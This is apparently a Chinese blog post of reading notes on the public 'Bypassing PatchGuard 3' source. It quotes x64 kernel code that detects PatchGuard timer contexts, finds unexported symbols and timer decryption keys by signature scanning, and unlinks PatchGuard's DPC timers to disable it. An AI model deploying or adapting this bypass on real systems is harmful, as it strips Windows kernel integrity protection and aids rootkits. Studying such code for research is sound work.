以前没有接触过x64内核编程,借这份代码来学习一下,源码 http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3

之前说到过PG3的一些机制,下面根据源码回顾一下

PG可能会queue一些dpc来触发syscheck,其中dpc context传入的是非传统地址,从而触发异常,转到异常处理去执行PG。

所以要判断dpc context

BOOLEAN CheckSubValue(ULONGLONG InValue)
{ULONG          i;ULONG         Result;UCHAR*           Chars = (UCHAR*)&InValue;// random values will have a result around 120...Result = 0;for(i = 0; i < 8; i++){Result += ((Chars[i] & 0xF0) >> 4) + (Chars[i] & 0x0F);}// the maximum value is 240, so this should be safe...if(Result < 70)return TRUE;return FALSE;
}BOOLEAN PgIsPatchGuardContext(void* Ptr)
{ULONGLONG      Value = (ULONGLONG)Ptr;UCHAR*          Chars = (UCHAR*)&Value;LONG            i;// this is a requirement for a canonical pointer...//合法地址if((Value & 0xFFFF000000000000) == 0xFFFF000000000000)return FALSE;//0 也不是非法的if((Value & 0xFFFF000000000000) == 0)return FALSE;// sieve out other common values...//检测随机数?if(CheckSubValue(Value) || CheckSubValue(~Value))return FALSE;if(Ptr == NULL)return FALSE;//This must be the last check and filters latin-char UTF16 strings...//检测字符串for(i = 7; i >= 0; i -= 2){if(Chars[i] != 0)return TRUE;}// this should only return true if the pointer is a unicode string!!!return FALSE;
}

这个检测还是考虑了不少情况,接下来是获得dpc加密key的方法

NTSTATUS PgInitialize()
{void*              SymbolArray[MAX_SYMBOL_COUNT];void*             ValidationArray[MAX_SYMBOL_COUNT];void*             IntersectionArray[MAX_SYMBOL_COUNT];ULONG               iSymbol;ULONG               Index;ULONG             MatchCount;KTIMER               TestTimer;KDPC              TestTimerDpc;LARGE_INTEGER      TimerDueTime = {0};ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);/*Extract and validate methods...搜索同步用的未导出api,还是很谨慎的,用KeCancelTimer和KeSetTimerEx对比进行定位*/if(!ExtractSymbolAddresses((void*)KeCancelTimer, FALSE, 0xE8, OUT SymbolArray) ||!ExtractSymbolAddresses((void*)KeSetTimerEx, FALSE, 0xE8, OUT ValidationArray))return STATUS_NOT_SUPPORTED;if(IntersectSymbolAddresses(SymbolArray, ValidationArray, OUT IntersectionArray) != 5)return STATUS_NOT_SUPPORTED;KiAcquireDispatcherLockRaiseToSynch = IntersectionArray[0];KeAcquireQueuedSpinLockAtDpcLevel = IntersectionArray[1];KeReleaseQueuedSpinLockFromDpcLevel = IntersectionArray[2];KiReleaseDispatcherLockFromSynchLevel = IntersectionArray[3];KiExitDispatcher = IntersectionArray[4];/*Extract KiTimerTableListHead...*/if(!ExtractSymbolAddresses((void*)KeCancelTimer, TRUE, 0x8D48, OUT SymbolArray))return STATUS_NOT_SUPPORTED;if(!ExtractSymbolAddresses((void*)KeSetTimerEx, TRUE, 0x8D48, OUT ValidationArray))return STATUS_NOT_SUPPORTED;MatchCount = IntersectSymbolAddresses(SymbolArray, ValidationArray, OUT IntersectionArray);for(iSymbol = 0; iSymbol < MatchCount; iSymbol++){if(ValidateTimerTable(IntersectionArray[iSymbol])){// check if we found ambiguous symbol referencesKiTimerTableListHead = IntersectionArray[iSymbol];break;}}if(KiTimerTableListHead == NULL)return STATUS_NOT_SUPPORTED;/*Create test timer...We use a well known, probably unique DeferredContext for later identification...*/KeInitializeTimer(&TestTimer);KeInitializeDpc(&TestTimerDpc, OnTestTimerInvokation, (void*)PgInitialize);__try{KeSetTimerEx(&TestTimer, TimerDueTime, 10000, &TestTimerDpc);/*Extract KiWaitAlways and KiWaitNever一个特征码找到这两个值,然后验证*/if(!ExtractSymbolAddresses((void*)KeSetTimerEx, TRUE, 0x8B48, OUT SymbolArray))return STATUS_NOT_SUPPORTED;for(iSymbol = 0; iSymbol < MAX_SYMBOL_COUNT; iSymbol++){if(SymbolArray[iSymbol] == NULL)break;for(Index = 0; Index < MAX_SYMBOL_COUNT; Index++){if(SymbolArray[Index] == NULL)break;if(iSymbol == Index)continue;if(!ProbeAndSetKeys(&TestTimer,(ULONGLONG*)SymbolArray[iSymbol],(ULONGLONG*)SymbolArray[Index]))continue;return STATUS_SUCCESS;}}return STATUS_NOT_SUPPORTED;}__finally{// cleanup resourcesKeCancelTimer(&TestTimer);}
}

PG2非常简单,直接摘掉dpc了事

BOOLEAN PgDisablePatchGuard(PDEVICE_OBJECT InDevice)
{KIRQL                  OldIrql;ULONG                   Index;PKSPIN_LOCK_QUEUE     LockQueue;PKTIMER_TABLE_ENTRY       TimerListHead;PLIST_ENTRY               TimerList;PKTIMER                   Timer;PKDPC                 TimerDpc;/*Lock the dispatcher database and loop through the timer list...We will cancel all timers that have a non-canonical DeferredContext.*/OldIrql = KiAcquireDispatcherLockRaiseToSynch();for(Index = 0; Index < TIMER_TABLE_SIZE; Index++){LockQueue = KeTimerIndexToLockQueue((UCHAR)(Index & 0xFF));KeAcquireQueuedSpinLockAtDpcLevel(LockQueue);// now we can work with the timer list...TimerListHead = &KiTimerTableListHead[Index];TimerList = TimerListHead->Entry.Flink;while(TimerList != (PLIST_ENTRY)TimerListHead){// is DPC patched?Timer = CONTAINING_RECORD(TimerList, KTIMER, TimerListEntry);TimerList = TimerList->Flink;TimerDpc = PgDeobfuscateTimerDpc(Timer);if(TimerDpc == NULL)continue;if(PgIsPatchGuardContext(TimerDpc->DeferredContext) && KeContainsSymbol(TimerDpc->DeferredRoutine)){// this will cancel the timer...Timer->Header.Inserted = FALSE;if(RemoveEntryList(&Timer->TimerListEntry))TimerListHead->Time.HighPart = 0xFFFFFFFF;}}KeReleaseQueuedSpinLockFromDpcLevel(LockQueue);}KiReleaseDispatcherLockFromSynchLevel();KiExitDispatcher(OldIrql);return TRUE;
}

PG2 BYPASS源码阅读 学习x64解密定时器、特征码定位相关推荐

  1. Java源码阅读学习后的浅析和感悟(JDK篇)(持续更新)

    目录 Java源码阅读学习后的浅析和感悟(JKD篇) - 为什么阅读源码 集合框架类 - 为什么会要引入集合 - 集合结构图(部分) ArrayList集合源码分析 - 扩容机制 - 关键方法解释(D ...

  2. Vue 源码阅读学习(三)

    第三节:函数柯里化与渲染模型 嘿,朋友们,本节是 Vue 源码阅读的第三讲.Vue 源码阅读系列得到了赞赏,我很高兴,同时希望大家可以给予反馈!我虚心接纳您的意见! 如果没有看之前的第一讲和第二讲的内 ...

  3. openfire服务器源码阅读学习之启动流程(一)

    openfire启动流程(ServerStarter类.XMPPServer类) 首先从org.jivesoftware.openfire.starter包下的ServerStarter.java文件 ...

  4. rust墙壁升级点什么_分享:如何在阅读Rust项目源码中学习

    今天做了一个Substrate相关的小分享,公开出来. 因为我平时也比较忙,昨天才选定了本次分享的主题,准备比较仓促,细节可能不是很充足,但分享的目的也是给大家提供一个学习的思路,更多的细节大家可以在 ...

  5. java经典源码 阅读_公开!阿里甩出“源码阅读指南”,原来源码才是最经典的学习范例...

    我们为啥要阅读源码? 为什么面试要问源码?为什么我们Java程序员要去看源码?相信大多数程序员看到源码第一感觉都是:枯燥无味,费力不讨好!要不是为了"涨薪"我才不去看这个鬼东西!但 ...

  6. 阅读 redis 源码,学习缓存淘汰算法 W-TinyLFU

    所有 IT 从业者都接触过缓存,一定了解基本工作原理,业界流行一句话: 缓存就是万金油,哪里有问题哪里抹一下 .那他的本质是什么呢? 上图代表从 cpu 到底层硬盘不同层次,不同模块的运行速度,上层多 ...

  7. MAE学习 论文阅读与学习 源码阅读

          这里回顾了BERT的重要自监督任务:masked input:randomly mask some tokes and predict them 作者提到了3点看法(以后随着技术发展,背景 ...

  8. 【vn.py学习笔记(八)】vn.py utility、BarGenerator、ArrayManager源码阅读

    [vn.py学习笔记(八)]vn.py utility.BarGenerator.ArrayManager源码阅读 写在前面 1 工具函数 2 BarGenerator 2.1 update_tick ...

  9. 【vn.py学习笔记(五)】vn.py Base、Log、Oms、Email Engine源码阅读

    [vn.py学习笔记(五)]vn.py Base.Log.Oms.Email Engine源码阅读 写在前面 1 BaseEngine 2 LogEngine 3 OmsEngine 3.1 构造函数 ...

最新文章

  1. varnish---反向代理web加速缓存服务器和CDN的推送
  2. c语言结构体输入身高体重,c++:输入n名学生的身高体重,按身高排序输出并计算平均体重和身高...
  3. 进程线程002 等待链表 调度链表
  4. android模拟器启动没有拨号功能
  5. 法流程图_【对反应过程的笔记整理方法——时间轴法】
  6. request中getParameter和getAttribute的区别
  7. 算法第四版_第二章_练习题_2.1.1~2.1.12
  8. linux基于i2c-tools快速搭建设备读写环境
  9. C# 调用mschart控件
  10. Android和iPhone浏览器大战,第1部分,WebKit抢救
  11. 计算机硬盘能改成移动硬盘,旧硬盘怎么改装成移动硬盘
  12. SD卡启动第二篇 (手动导入系统到SD卡分区)
  13. neon浮点运算_ARM 浮点计算测试与分析
  14. Android距离传感器unregisterListener无用解决
  15. bmp格式如何转换成png格式
  16. ES6 新特性之 let, const : JavaScript在变量方面的改进。
  17. 海天蚝油《挑战不可能》清华博士远程驾驶无人车迎战高难度车道
  18. 360 || 2021校园招聘的一道笔试题思路分享
  19. 电路课组(一)电路原理 Part 0 电路仿真(1)Multisim基本功能
  20. Magix 促销:让你的音视频制作更加专业

热门文章

  1. 唯百特测绘仪器GPS全站维修配件中心
  2. 忘记Mac管理员密码怎么办?
  3. 服务器上运行Geant4例子XQuartz的问题
  4. SSM重新开发计科院主页
  5. html5视频播放原理,HTML5 - 使用JavaScript控制video视频播放(自定义视频播放器)...
  6. 6名员工集体跳楼讨薪 有说有笑情绪轻松(组图)
  7. 傅里叶变换零基础学习记录
  8. nuxt.js开发环境使用mockjs模拟数据
  9. 取消SIM卡槽,eSIM为防盗带来新转机,手机防盗终极大招
  10. 世界最健康作息时间表!